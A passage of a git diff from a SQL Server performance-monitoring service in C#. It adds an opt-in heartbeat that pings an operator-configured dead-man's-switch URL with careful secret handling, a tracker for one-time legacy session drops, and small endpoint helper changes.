         return FleetSweepPresentation.BuildSweepDetailNode(run, verdicts, ledger);
     }
 
-    /// <summary>The first non-empty value for a query key, or null — the read surface's binding rule.</summary>
-    private static string? Query(HttpContext context, string key)
-    {
-        var value = context.Request.Query[key].ToString();
-        return string.IsNullOrEmpty(value) ? null : value;
-    }
+    /// <summary>The first non-empty value for a query key, or null — the read surface's binding rule, which this
+    /// calls rather than restates (#5245: a repeated key is its first value, not the values joined by a comma).</summary>
+    internal static string? Query(HttpContext context, string key) =>
+        DarlingWebEndpoints.First(context, key);
 
     /// <summary>JSON written verbatim, bypassing any serializer naming policy — the surface's rule.</summary>
     private static IResult JsonResult(JsonNode node) =>
-        Results.Text(node.ToJsonString(), "application/json");
+        DarlingWebStatementSweep.JsonText(node, "/api/sweeps", null, 0); // #4348: swept before it is written
 
     /// <summary>This surface's error body — <c>{"error": sentence}</c>, its own contract since #2506, kept
     /// rather than switched to the read surface's envelope pass-through: <paramref name="message"/> may be the
     /// <c>invalid</c> envelope the shared validators answer since #3739, so the sentence is read out of it
     /// and a web client that reads <c>.error</c> is not handed JSON inside a string.</summary>
     private static IResult SweepError(string message, int statusCode) =>
-        Results.Text(new JsonObject { ["error"] = McpHelpers.ErrorMessageOf(message) }.ToJsonString(), "application/json", statusCode: statusCode);
+        DarlingWebStatementSweep.JsonText(new JsonObject { ["error"] = McpHelpers.ErrorMessageOf(message) }, "/api/sweeps", null, 0, statusCode);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingHeartbeat.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingHeartbeat.cs
new file mode 100644
index 0000000000..565344a574
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingHeartbeat.cs
@@ -0,0 +1,664 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json.Serialization;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The <c>heartbeat</c> block of darling.json (#5450, proposal 2): an outbound GET to a dead-man's-switch URL so a
+/// check OUTSIDE the box notices when the service stops, or runs but no longer collects. Off by default.
+///
+/// <para><b>FILE-ONLY, like <see cref="PeersConfig"/>.</b> The web Admin and MCP cannot edit it and no read surface
+/// returns it: <see cref="Url"/> usually carries the check's token, so the WHOLE URL is a secret. It takes the same
+/// <c>env:</c>/<c>file:</c> reference the other secrets take (<see cref="DarlingSecretSource"/>, #1804). Validation
+/// checks only the SHAPE of a reference and never resolves it; the loop resolves it on every tick, so a rotated token
+/// file is picked up on the next ping. The URL is never logged and never put in a validation message: logs name the
+/// scheme and host only, and every problem text is fixed.</para>
+/// </summary>
+public sealed class HeartbeatConfig
+{
+    /// <summary>Seconds between pings when <c>intervalSeconds</c> is omitted.</summary>
+    public const int DefaultIntervalSeconds = 300;
+
+    /// <summary>The shortest interval a config may ask for.</summary>
+    public const int MinIntervalSeconds = 60;
+
+    /// <summary>The longest interval a config may ask for.</summary>
+    public const int MaxIntervalSeconds = 3600;
+
+    /// <summary>
+    /// The URL to GET, or an <c>env:NAME</c>/<c>file:/path</c> reference to it. Absent or empty = the heartbeat is off
+    /// (the default). An absolute http or https URL only. A secret: never logged, never returned by any read surface.
+    /// </summary>
+    [JsonPropertyName("url")]
+    public string? Url { get; set; }
+
+    /// <summary>Seconds between pings, <see cref="MinIntervalSeconds"/> to <see cref="MaxIntervalSeconds"/>.</summary>
+    [JsonPropertyName("intervalSeconds")]
+    public int IntervalSeconds { get; set; } = DefaultIntervalSeconds;
+
+    /// <summary>True when a URL (or a reference to one) is set. Whitespace counts as not set.</summary>
+    [JsonIgnore]
+    public bool IsConfigured => !string.IsNullOrWhiteSpace(Url);
+
+    /// <summary>Most bytes read from a <c>file:</c> reference: a URL is far under this, so a larger file is a mistake
+    /// (or a device that never ends), not a secret.</summary>
+    internal const int MaxReferenceFileBytes = 8 * 1024;
+
+    /// <summary>How long resolving a reference may take before the tick counts it as a failure.</summary>
+    internal static readonly TimeSpan ResolveTimeout = TimeSpan.FromSeconds(10);
+
+    /* Fixed texts: none carries the URL, a variable name, a path, a file's contents or an exception message. The
+       problem list reaches /api/ping, the stopped marker and the CLI, so it is shaped for that audience. */
+    internal const string UrlShapeProblem =
+        "heartbeat.url must be an absolute http or https URL. (The value is not echoed: the URL is a secret.)";
+    internal const string UserInfoProblem =
+        "heartbeat.url must not carry a user name or password; put the check's token in the path. (The value is not echoed: the URL is a secret.)";
+    internal const string EnvShapeProblem =
+        "heartbeat.url: an env: reference must name an environment variable. (The value is not echoed.)";
+    internal const string FileShapeProblem =
+        "heartbeat.url: a file: reference must give an absolute path. (The value is not echoed.)";
+    internal const string EnvUnsetProblem =
+        "the environment variable named by the heartbeat.url env: reference is not set, or is blank";
+    internal const string FileUnreadableProblem =
+        "the file named by the heartbeat.url file: reference could not be read";
+    internal const string FileTooLargeProblem =
+        "the file named by the heartbeat.url file: reference is larger than 8 KB";
+    internal const string FileEmptyProblem =
+        "the file named by the heartbeat.url file: reference is empty";
+    internal const string FileTimeoutProblem =
+        "the file named by the heartbeat.url file: reference did not answer within 10 seconds";
+
+    /// <summary>
+    /// The SHAPE of a value, nothing more (#5460 ruling): a plain URL is fully validated; an <c>env:</c> or <c>file:</c>
+    /// reference is only checked for being well formed (a name, an absolute path) and is NOT resolved, because the
+    /// secure setups (a variable in the service's own environment, a file the service account alone can read) are
+    /// the ones an operator's shell cannot resolve, and every CLI verb that validates would refuse them. Null when it
+    /// is fine; otherwise one of the fixed problem texts.
+    /// </summary>
+    internal static string? ShapeProblem(string? value)
+    {
+        if (string.IsNullOrWhiteSpace(value))
+        {
+            return null;
+        }
+
+        var text = value.Trim();
+        if (!DarlingSecretSource.IsReference(text))
+        {
+            return TryParseUrl(text, out _);
+        }
+
+        if (text.StartsWith("env:", StringComparison.Ordinal))
+        {
+            return IsWellFormedEnvName(text["env:".Length..].Trim()) ? null : EnvShapeProblem;
+        }
+
+        var path = text["file:".Length..].Trim();
+        return path.Length > 0 && path.IndexOf('\0', StringComparison.Ordinal) < 0 && Path.IsPathFullyQualified(path)
+            ? null
+            : FileShapeProblem;
+    }
+
+    private static bool IsWellFormedEnvName(string name)
+    {
+        if (name.Length == 0)
+        {
+            return false;
+        }
+
+        foreach (var c in name)
+        {
+            if (c == '=' || char.IsWhiteSpace(c) || char.IsControl(c))
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /// <summary>Parses a literal URL: absolute, http or https, a host, and no user info. Null problem = fine.</summary>
+    private static string? TryParseUrl(string text, out Uri? uri)
+    {
+        uri = null;
+        if (!Uri.TryCreate(text, UriKind.Absolute, out var parsed)
+            || (parsed.Scheme != Uri.UriSchemeHttp && parsed.Scheme != Uri.UriSchemeHttps)
+            || string.IsNullOrEmpty(parsed.Host))
+        {
+            return UrlShapeProblem;
+        }
+
+        /* HttpClient never turns user info into an Authorization header, so a URL with it would just fail as HTTP 401
+           with no hint. Refused up front instead. */
+        if (!string.IsNullOrEmpty(parsed.UserInfo))
+        {
+            return UserInfoProblem;
+        }
+
+        uri = parsed;
+        return null;
+    }
+
+    /// <summary>
+    /// Resolves <see cref="Url"/> to an absolute http/https <see cref="Uri"/>, for the loop's tick (and the diagnostics
+    /// bundle's alias seed). A failure's problem is one of the fixed texts, never the URL, a name, a path or an exception
+    /// message. A <c>file:</c> reference is read asynchronously, capped at <see cref="MaxReferenceFileBytes"/>, and given
+    /// <see cref="ResolveTimeout"/>, so a hung share or a device cannot stall a thread or the shutdown. Only
+    /// <paramref name="cancellationToken"/> being cancelled throws.
+    /// </summary>
+    internal async Task<(Uri? Uri, string? Problem)> ResolveAsync(CancellationToken cancellationToken)
+    {
+        if (!IsConfigured)
+        {
+            return (null, "heartbeat.url is not set");
+        }
+
+        var text = Url!.Trim();
+        if (text.StartsWith("env:", StringComparison.Ordinal))
+        {
+            var name = text["env:".Length..].Trim();
+            var value = IsWellFormedEnvName(name) ? Environment.GetEnvironmentVariable(name) : null;
+            if (string.IsNullOrWhiteSpace(value))
+            {
+                return (null, EnvUnsetProblem);
+            }
+
+            text = value.Trim();
+        }
+        else if (text.StartsWith("file:", StringComparison.Ordinal))
+        {
+            var (contents, problem) = await ReadReferenceFileAsync(text["file:".Length..].Trim(), cancellationToken);
+            if (contents is null)
+            {
+                return (null, problem);
+            }
+
+            text = contents;
+        }
+
+        var parseProblem = TryParseUrl(text, out var uri);
+        return parseProblem is null ? (uri, null) : (null, parseProblem);
+    }
+
+    private static async Task<(string? Contents, string? Problem)> ReadReferenceFileAsync(string path, CancellationToken cancellationToken)
+    {
+        try
+        {
+            /* The open itself can block (a share that never answers, a pipe), so the whole read runs off the caller's
+               thread and the caller waits at most ResolveTimeout. */
+            var bytes = await Task.Run(() => ReadCappedAsync(path, cancellationToken), cancellationToken)
+                .WaitAsync(ResolveTimeout, cancellationToken);
+            if (bytes is null)
+            {
+                return (null, FileTooLargeProblem);
+            }
+
+            var start = bytes.Length >= 3 && bytes[0] == 0xEF && bytes[1] == 0xBB && bytes[2] == 0xBF ? 3 : 0;
+            var contents = Encoding.UTF8.GetString(bytes, start, bytes.Length - start).Trim();
+            return contents.Length == 0 ? (null, FileEmptyProblem) : (contents, null);
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            throw;
+        }
+        catch (TimeoutException)
+        {
+            return (null, FileTimeoutProblem);
+        }
+        catch (Exception)
+        {
+            /* Deliberately no type or message here: a path can ride in either, and the problem is fixed text. */
+            return (null, FileUnreadableProblem);
+        }
+    }
+
+    /// <summary>The file's bytes, or null when it holds more than <see cref="MaxReferenceFileBytes"/>.</summary>
+    private static async Task<byte[]?> ReadCappedAsync(string path, CancellationToken cancellationToken)
+    {
+        await using var stream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete,
+            bufferSize: 0, FileOptions.Asynchronous);
+        var buffer = new byte[MaxReferenceFileBytes + 1];
+        var total = 0;
+        while (total < buffer.Length)
+        {
+            var read = await stream.ReadAsync(buffer.AsMemory(total), cancellationToken);
+            if (read == 0)
+            {
+                break;
+            }
+
+            total += read;
+        }
+
+        return total > MaxReferenceFileBytes ? null : buffer.AsSpan(0, total).ToArray();
+    }
+
+    /// <summary>
+    /// Validates the block; returns human-readable problems (empty = valid). Fatal, like the rest of
+    /// <see cref="DarlingConfig.Validate"/>: a heartbeat that would silently never ping is worse than a refused start.
+    /// A null block (<c>"heartbeat": null</c>) is the same as an absent one: off.
+    /// </summary>
+    public static IReadOnlyList<string> Validate(HeartbeatConfig? heartbeat)
+    {
+        var problems = new List<string>();
+        if (heartbeat is null)
+        {
+            return problems;
+        }
+
+        if (heartbeat.IntervalSeconds < MinIntervalSeconds || heartbeat.IntervalSeconds > MaxIntervalSeconds)
+        {
+            problems.Add(string.Create(CultureInfo.InvariantCulture,
+                $"heartbeat.intervalSeconds must be between {MinIntervalSeconds} and {MaxIntervalSeconds} (got {heartbeat.IntervalSeconds})."));
+        }
+
+        var shape = ShapeProblem(heartbeat.Url);
+        if (shape is not null)
+        {
+            problems.Add(shape);
+        }
+
+        return problems;
+    }
+}
+
+/// <summary>What one heartbeat read of the store found.</summary>
+/// <param name="Ok">False when the read failed.</param>
+/// <param name="EnabledServers">How many monitored servers are enabled.</param>
+/// <param name="NewestUtc">The newest <c>collection_log</c> time across the enabled servers; null when none has a row.</param>
+internal readonly record struct HeartbeatRead(bool Ok, int EnabledServers, DateTime? NewestUtc);
+
+/// <summary>Whether a tick pings.</summary>
+internal enum HeartbeatDecision
+{
+    /// <summary>Send the GET.</summary>
+    Ping,
+
+    /// <summary>The process runs but collection is stale (or nothing has been collected): no ping.</summary>
+    SkipStale,
+
+    /// <summary>The store read failed: no ping.</summary>
+    SkipReadFailed,
+
+    /// <summary>The newest time is further in the future than the clock-skew allowance: no ping (#5460).</summary>
+    SkipFuture,
+}
+
+/// <summary>The edge a ping result produced for the log.</summary>
+internal enum HeartbeatLogEdge
+{
+    /// <summary>Nothing to log.</summary>
+    None,
+
+    /// <summary>Log one warning.</summary>
+    Warn,
+
+    /// <summary>Log the one recovery line.</summary>
+    Recovered,
+}
+
+/// <summary>
+/// The failure-log throttle: the first failure warns, then at most one warning per hour until a ping succeeds, and
+/// that success logs one recovery line. Pure state, so the clock is a parameter.
+/// </summary>
+internal sealed class HeartbeatFailureGate
+{
+    internal static readonly TimeSpan WarnEvery = TimeSpan.FromHours(1);
+
+    private bool _failing;
+    private DateTime _lastWarnUtc;
+
+    internal HeartbeatLogEdge OnFailure(DateTime nowUtc)
+    {
+        if (!_failing)
+        {
+            _failing = true;
+            _lastWarnUtc = nowUtc;
+            return HeartbeatLogEdge.Warn;
+        }
+
+        if (nowUtc - _lastWarnUtc >= WarnEvery)
+        {
+            _lastWarnUtc = nowUtc;
+            return HeartbeatLogEdge.Warn;
+        }
+
+        return HeartbeatLogEdge.None;
+    }
+
+    internal HeartbeatLogEdge OnSuccess()
+    {
+        if (!_failing)
+        {
+            return HeartbeatLogEdge.None;
+        }
+
+        _failing = false;
+        return HeartbeatLogEdge.Recovered;
+    }
+}
+
+/// <summary>
+/// The outbound heartbeat loop (#5450, proposal 2). Each interval it reads the newest <c>collection_log</c> time
+/// across enabled servers (#5454's read, one index probe per server) and GETs the URL only when the service is
+/// provably collecting: no enabled servers, or the newest time inside
+/// <see cref="DarlingSelfAlertEvaluator.CollectionGapAtStartThreshold"/>. A stale read or a failed read skips the
+/// ping, so the external check alerts when the process stops AND when it runs but no longer collects.
+///
+/// <para>A ping never raises an alert, never blocks collection (its own task, its own connection, a 10 second
+/// timeout) and ends cleanly on shutdown. It follows no redirect and counts only a 2xx as success. The URL is a
+/// secret and reaches no log line: a warning names the scheme and host and a reason that is a status code, a
+/// timeout, or an exception TYPE, never an exception message.</para>
+/// </summary>
+internal sealed class DarlingHeartbeat
+{
+    /// <summary>
+    /// How far past now a newest collection time may sit and still count as fresh (#5460). A time beyond this is a
+    /// skewed clock or a stray row, and trusting it would hold the ping green until wall-clock time caught up.
+    /// </summary>
+    internal static readonly TimeSpan FutureTolerance = TimeSpan.FromMinutes(5);
+
+    /// <summary>How long one ping may take, from the send to the response headers.</summary>
+    internal static readonly TimeSpan PingTimeout = TimeSpan.FromSeconds(10);
+
+    /// <summary>
+    /// The store read: the enabled-server count beside #5454's newest-time probe
+    /// (<see cref="DarlingSelfAlertEvaluator.NewestCollectionTimeSql"/>, shared, not copied). The count is what tells
+    /// "no server to collect from" (a heartbeat is right) from "servers but nothing collected" (it is not).
+    /// </summary>
+    internal static readonly string ReadSql =
+        "SELECT (SELECT count(*) FROM config.config_monitored_servers WHERE is_enabled), ("
+        + DarlingSelfAlertEvaluator.NewestCollectionTimeSql + ")";
+
+    /* Mirrors the webhook senders' pooled clients (WebhookAlertService): one client for the process's life rather
+       than a handler per ping, with redirects off so a 3xx is reported as the failure it is and is never followed
+       to a host the operator did not configure. */
+    private static readonly HttpClient s_client =
+        new(new SocketsHttpHandler { PooledConnectionLifetime = TimeSpan.FromMinutes(5), AllowAutoRedirect = false })
+        { Timeout = TimeSpan.FromSeconds(30) };
+
+    /// <summary>The production client, so a test can prove its redirect setting rather than a copy's.</summary>
+    internal static HttpClient SharedClient => s_client;
+
+    private readonly ILogger _logger;
+    private readonly HttpClient _client;
+    private readonly Func<DateTime> _utcNow;
+    private readonly Func<TimeSpan, CancellationToken, Task> _delay;
+    private readonly HeartbeatFailureGate _gate = new();
+    private readonly HeartbeatFailureGate _tickGate = new();
+    private HeartbeatDecision? _loggedSkip;
+    private bool _announced;
+    private bool _httpWarned;
+
+    internal DarlingHeartbeat(
+        ILogger logger, HttpClient? client = null, Func<DateTime>? utcNow = null,
+        Func<TimeSpan, CancellationToken, Task>? delay = null)
+    {
+        _logger = logger;
+        _client = client ?? s_client;
+        _utcNow = utcNow ?? (() => DateTime.UtcNow);
+        _delay = delay ?? ((span, token) => Task.Delay(span, token));
+    }
+
+    /// <summary>
+    /// The ping decision. Fresh = ping; no enabled server = ping (a service with nothing to collect is up);
+    /// stale, or enabled servers with no row at all = skip; a failed read = skip. Fresh means
+    /// <c>now - threshold &lt;= newest &lt;= now + <see cref="FutureTolerance"/></c> (#5460): a newest time further in the
+    /// future than that is skipped, because for a liveness signal the safe direction on a skewed clock or a stray
+    /// future-dated row is silence, not a green ping.
+    /// </summary>
+    internal static HeartbeatDecision Decide(HeartbeatRead read, DateTime nowUtc)
+    {
+        if (!read.Ok)
+        {
+            return HeartbeatDecision.SkipReadFailed;
+        }
+
+        if (read.EnabledServers == 0)
+        {
+            return HeartbeatDecision.Ping;
+        }
+
+        if (read.NewestUtc is not { } newest)
+        {
+            return HeartbeatDecision.SkipStale;
+        }
+
+        if (newest > nowUtc + FutureTolerance)
+        {
+            return HeartbeatDecision.SkipFuture;
+        }
+
+        return nowUtc - newest <= DarlingSelfAlertEvaluator.CollectionGapAtStartThreshold
+            ? HeartbeatDecision.Ping
+            : HeartbeatDecision.SkipStale;
+    }
+
+    /// <summary>
+    /// Reads the enabled-server count and the newest collection time. A failure is a result (<c>Ok</c> false), not a
+    /// throw, so the loop skips the ping; only cancellation propagates.
+    /// </summary>
+    internal async Task<HeartbeatRead> ReadAsync(NpgsqlDataSource store, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var command = store.CreateCommand(ReadSql);
+            command.CommandTimeout = 30;
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (!await reader.ReadAsync(cancellationToken))
+            {
+                return new HeartbeatRead(false, 0, null);
+            }
+
+            var servers = Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture);
+            DateTime? newest = reader.IsDBNull(1) ? null : DateTime.SpecifyKind(reader.GetDateTime(1), DateTimeKind.Utc);
+            return new HeartbeatRead(true, servers, newest);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* The type only: a driver message can carry the connection's host. */
+            _logger.LogWarning("Heartbeat could not read the newest collection time ({Reason}); no ping this interval.", ex.GetType().Name);
+            return new HeartbeatRead(false, 0, null);
+        }
+    }
+
+    /// <summary>
+    /// One GET. Success is a 2xx and nothing else; redirects are not followed, so a 3xx is a failure. A timeout is a
+    /// failure with its own reason, and a cancelled <paramref name="cancellationToken"/> propagates as the stop it is.
+    /// The reason never carries the URL or an exception message.
+    /// </summary>
+    internal static async Task<(bool Success, string? Reason)> PingAsync(
+        HttpClient client, Uri url, TimeSpan timeout, CancellationToken cancellationToken)
+    {
+        using var linked = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+        linked.CancelAfter(timeout);
+        try
+        {
+            using var request = new HttpRequestMessage(HttpMethod.Get, url);
+            using var response = await client.SendAsync(request, HttpCompletionOption.ResponseHeadersRead, linked.Token);
+            var code = (int)response.StatusCode;
+            return code is >= 200 and <= 299
+                ? (true, null)
+                : (false, string.Create(CultureInfo.InvariantCulture, $"HTTP {code}"));
+        }
+        catch (OperationCanceledException) when (!cancellationToken.IsCancellationRequested)
+        {
+            return (false, string.Create(CultureInfo.InvariantCulture, $"no answer within {(int)timeout.TotalSeconds} seconds"));
+        }
+        catch (HttpRequestException ex)
+        {
+            return (false, "request failed: " + ex.HttpRequestError);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return (false, "request failed: " + ex.GetType().Name);
+        }
+    }
+
+    /// <summary>
+    /// One interval: resolve the URL, read the store, decide, and ping or skip. Returns what it did (null when the URL
+    /// could not be resolved). Throws only for cancellation or a failure of <paramref name="read"/>, which the loop logs.
+    /// </summary>
+    internal async Task<HeartbeatDecision?> TickAsync(
+        HeartbeatConfig config, Func<CancellationToken, Task<HeartbeatRead>> read, CancellationToken cancellationToken)
+    {
+        /* Resolved on every tick, so a rotated token file is picked up. A failure is fixed text only. */
+        var (url, problem) = await config.ResolveAsync(cancellationToken);
+        if (url is null)
+        {
+            /* Counted as a failed ping so it warns once and then hourly, and the external check alerts, which is what
+               it should do. */
+            LogFailure("the URL could not be resolved: " + problem, null);
+            return null;
+        }
+
+        if (!_announced)
+        {
+            _announced = true;
+            _logger.LogInformation(
+                "Heartbeat on: GET {Scheme}://{Host} every {Seconds} s while collection is current.",
+                url.Scheme, url.Host, config.IntervalSeconds);
+        }
+
+        if (url.Scheme == Uri.UriSchemeHttp && !_httpWarned)
+        {
+            _httpWarned = true;
+            _logger.LogWarning(
+                "Heartbeat URL uses http://, so the check's token crosses the network unencrypted on every ping. Use https:// where the check host offers it.");
+        }
+
+        var snapshot = await read(cancellationToken);
+        var now = _utcNow();
+        var decision = Decide(snapshot, now);
+        if (decision != HeartbeatDecision.Ping)
+        {
+            if (_loggedSkip != decision)
+            {
+                _loggedSkip = decision;
+                _logger.LogWarning(
+                    decision switch
+                    {
+                        HeartbeatDecision.SkipReadFailed =>
+                            "Heartbeat ping skipped: the store could not be read. The external check will alert until collection can be confirmed.",
+                        HeartbeatDecision.SkipFuture =>
+                            "Heartbeat ping skipped: the newest collection time is in the future (a clock jump or a stray row). The external check will alert until it is no longer ahead of the clock.",
+                        _ =>
+                            "Heartbeat ping skipped: no enabled server has collected within {Minutes} minutes. The external check will alert until collection resumes.",
+                    },
+                    (int)DarlingSelfAlertEvaluator.CollectionGapAtStartThreshold.TotalMinutes);
+            }
+
+            return decision;
+        }
+
+        if (_loggedSkip is not null)
+        {
+            _loggedSkip = null;
+            _logger.LogInformation("Heartbeat pings resume: collection is current.");
+        }
+
+        var (success, reason) = await PingAsync(_client, url, PingTimeout, cancellationToken);
+        if (success)
+        {
+            if (_gate.OnSuccess() == HeartbeatLogEdge.Recovered)
+            {
+                _logger.LogInformation("Heartbeat ping to {Scheme}://{Host} succeeded again.", url.Scheme, url.Host);
+            }
+        }
+        else
+        {
+            LogFailure(reason ?? "unknown", url);
+        }
+
+        return decision;
+    }
+
+    private void LogFailure(string reason, Uri? url)
+    {
+        if (_gate.OnFailure(_utcNow()) != HeartbeatLogEdge.Warn)
+        {
+            return;
+        }
+
+        if (url is null)
+        {
+            _logger.LogWarning("Heartbeat ping not sent ({Reason}). Further failures are logged at most once an hour.", reason);
+            return;
+        }
+
+        _logger.LogWarning(
+            "Heartbeat ping to {Scheme}://{Host} failed ({Reason}). Further failures are logged at most once an hour.",
+            url.Scheme, url.Host, reason);
+    }
+
+    /// <summary>
+    /// The loop: a tick now, then one per <see cref="HeartbeatConfig.IntervalSeconds"/> until the token is cancelled.
+    /// Returns at once when no URL is set, and a null block counts as unset (#5460). It yields first, so the first tick
+    /// (a reference resolve, a store command) never runs on the caller's startup path.
+    /// </summary>
+    internal Task RunAsync(HeartbeatConfig? config, NpgsqlDataSource store, CancellationToken stoppingToken)
+        => RunLoopAsync(config, ct => ReadAsync(store, ct), stoppingToken);
+
+    /// <summary>
+    /// The loop over an injected read. Only shutdown ends it: a cancellation that is NOT the stopping token (a driver or
+    /// handler giving up internally), and any other exception a tick throws, is logged by type, throttled like a failed
+    /// ping, and the loop goes on (#5460).
+    /// </summary>
+    internal async Task RunLoopAsync(
+        HeartbeatConfig? config, Func<CancellationToken, Task<HeartbeatRead>> read, CancellationToken stoppingToken)
+    {
+        if (config is null || !config.IsConfigured)
+        {
+            return;
+        }
+
+        await Task.Yield();
+        var interval = TimeSpan.FromSeconds(config.IntervalSeconds);
+        while (!stoppingToken.IsCancellationRequested)
+        {
+            try
+            {
+                await TickAsync(config, read, stoppingToken);
+                _tickGate.OnSuccess();
+            }
+            catch (OperationCanceledException) when (stoppingToken.IsCancellationRequested)
+            {
+                return;
+            }
+            catch (Exception ex)
+            {
+                if (_tickGate.OnFailure(_utcNow()) == HeartbeatLogEdge.Warn)
+                {
+                    _logger.LogWarning(
+                        "Heartbeat tick failed ({Reason}). Further failures are logged at most once an hour.", ex.GetType().Name);
+                }
+            }
+
+            try
+            {
+                await _delay(interval, stoppingToken);
+            }
+            catch (OperationCanceledException) when (stoppingToken.IsCancellationRequested)
+            {
+                return;
+            }
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingLegacyLongQuerySession.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingLegacyLongQuerySession.cs
new file mode 100644
index 0000000000..8a18575b68
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingLegacyLongQuerySession.cs
@@ -0,0 +1,341 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// Where the one-time legacy drop keeps its record: the store in production, memory in a test that never opens one. Both
+/// calls throw when the store cannot answer. The runner's collector-state helpers swallow their failures and return no
+/// state, which is the safe direction for a watermark and the wrong one here: a record that could not be read must never
+/// read as "not dropped yet", because that would drop the session a second time.
+/// </summary>
+internal interface ILegacyLongQueryRecords
+{
+    /// <summary>
+    /// The state keys already recorded for one registration under the legacy session's collector name, the database
+    /// names included. Throws when the store cannot be read.
+    /// </summary>
+    Task<IReadOnlyCollection<string>> ReadAsync(int serverId, CancellationToken cancellationToken);
+
+    /// <summary>Records one drop under <paramref name="stateKey"/>, with the drop's time as the value. Throws when the store cannot be written.</summary>
+    Task WriteAsync(int serverId, string stateKey, DateTime droppedUtc, CancellationToken cancellationToken);
+}
+
+/// <summary>
+/// The record kept in <c>collect.collector_state</c>: collector <see cref="LegacyLongQuerySession.StateCollector"/>, one
+/// state key for each database (<see cref="LegacyLongQuerySession.StateKey"/>), the time of the drop as the value. The
+/// table needs no migration, and no prune, archive or reset step deletes these keys.
+/// </summary>
+internal sealed class StoreLegacyLongQueryRecords : ILegacyLongQueryRecords
+{
+    private readonly NpgsqlDataSource _postgres;
+
+    public StoreLegacyLongQueryRecords(NpgsqlDataSource postgres)
+    {
+        _postgres = postgres ?? throw new ArgumentNullException(nameof(postgres));
+    }
+
+    public async Task<IReadOnlyCollection<string>> ReadAsync(int serverId, CancellationToken cancellationToken)
+    {
+        await using var connection = await _postgres.OpenConnectionAsync(cancellationToken);
+        using var command = new NpgsqlCommand(
+            "SELECT state_key FROM collect.collector_state WHERE server_id = $1 AND collector_name = $2 AND starts_with(state_key, $3)", connection);
+        command.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(LegacyLongQuerySession.StateCollector);
+        command.Parameters.AddWithValue(LegacyLongQuerySession.StateKeyPrefix);
+
+        var keys = new List<string>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            keys.Add(reader.GetString(0));
+        }
+
+        return keys;
+    }
+
+    public async Task WriteAsync(int serverId, string stateKey, DateTime droppedUtc, CancellationToken cancellationToken)
+    {
+        await using var connection = await _postgres.OpenConnectionAsync(cancellationToken);
+        using var command = new NpgsqlCommand(@"
+INSERT INTO collect.collector_state (server_id, collector_name, state_key, state_value, updated_at)
+VALUES ($1, $2, $3, $4, $5)
+ON CONFLICT (server_id, collector_name, state_key)
+DO UPDATE SET state_value = EXCLUDED.state_value, updated_at = EXCLUDED.updated_at", connection);
+        command.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(LegacyLongQuerySession.StateCollector);
+        command.Parameters.AddWithValue(stateKey);
+        command.Parameters.AddWithValue(droppedUtc.ToString("o", CultureInfo.InvariantCulture));
+
+        /* Naive UTC, Kind-Unspecified: updated_at is a timestamp without time zone, and Npgsql refuses a Kind=Utc value for it. */
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(cancellationToken);
+    }
+}
+
+/// <summary>
+/// The long-query session that versions before #4961 shared between installs, dropped once for each registration and
+/// database, on a full pass or the attempt after the cap, whether the trace is on or off. The drop comes first and the
+/// record second: a crash between them costs one more guarded drop, where recording first could lose the drop for good. A
+/// failed drop is not recorded, and takes the retry cap the per-install drops take. A record that cannot be read skips the
+/// step for that pass and fails the pass the same way, so a read failure never turns into a second drop.
+/// <para>Once a key is known to be recorded, that stays in memory until the registration reconnects, so the passes after
+/// the first one do not read the store again. A reconnect also lets the one Information line about a legacy session that an
+/// older install created again be logged once more.</para>
+/// </summary>
+internal sealed class DarlingLegacyLongQuerySession
+{
+    /// <summary>The session's name, for the batches that ask whether an older install created it again.</summary>
+    internal const string SessionName = LongQueryCompletionsCollector.LegacyXeSessionName;
+
+    private readonly ILegacyLongQueryRecords _records;
+    private readonly object _gate = new();
+
+    /* The state keys known to be recorded, for each registration whose records were read since its last connect. */
+    private readonly Dictionary<int, HashSet<string>> _recorded = new();
+    private readonly HashSet<int> _noticed = new();
+
+    public DarlingLegacyLongQuerySession(ILegacyLongQueryRecords records)
+    {
+        _records = records ?? throw new ArgumentNullException(nameof(records));
+    }
+
+    /// <summary>
+    /// Starts one reconcile pass's legacy drops. A <see cref="LongQueryTracePass.CreateOnly"/> pass has none, and neither has a
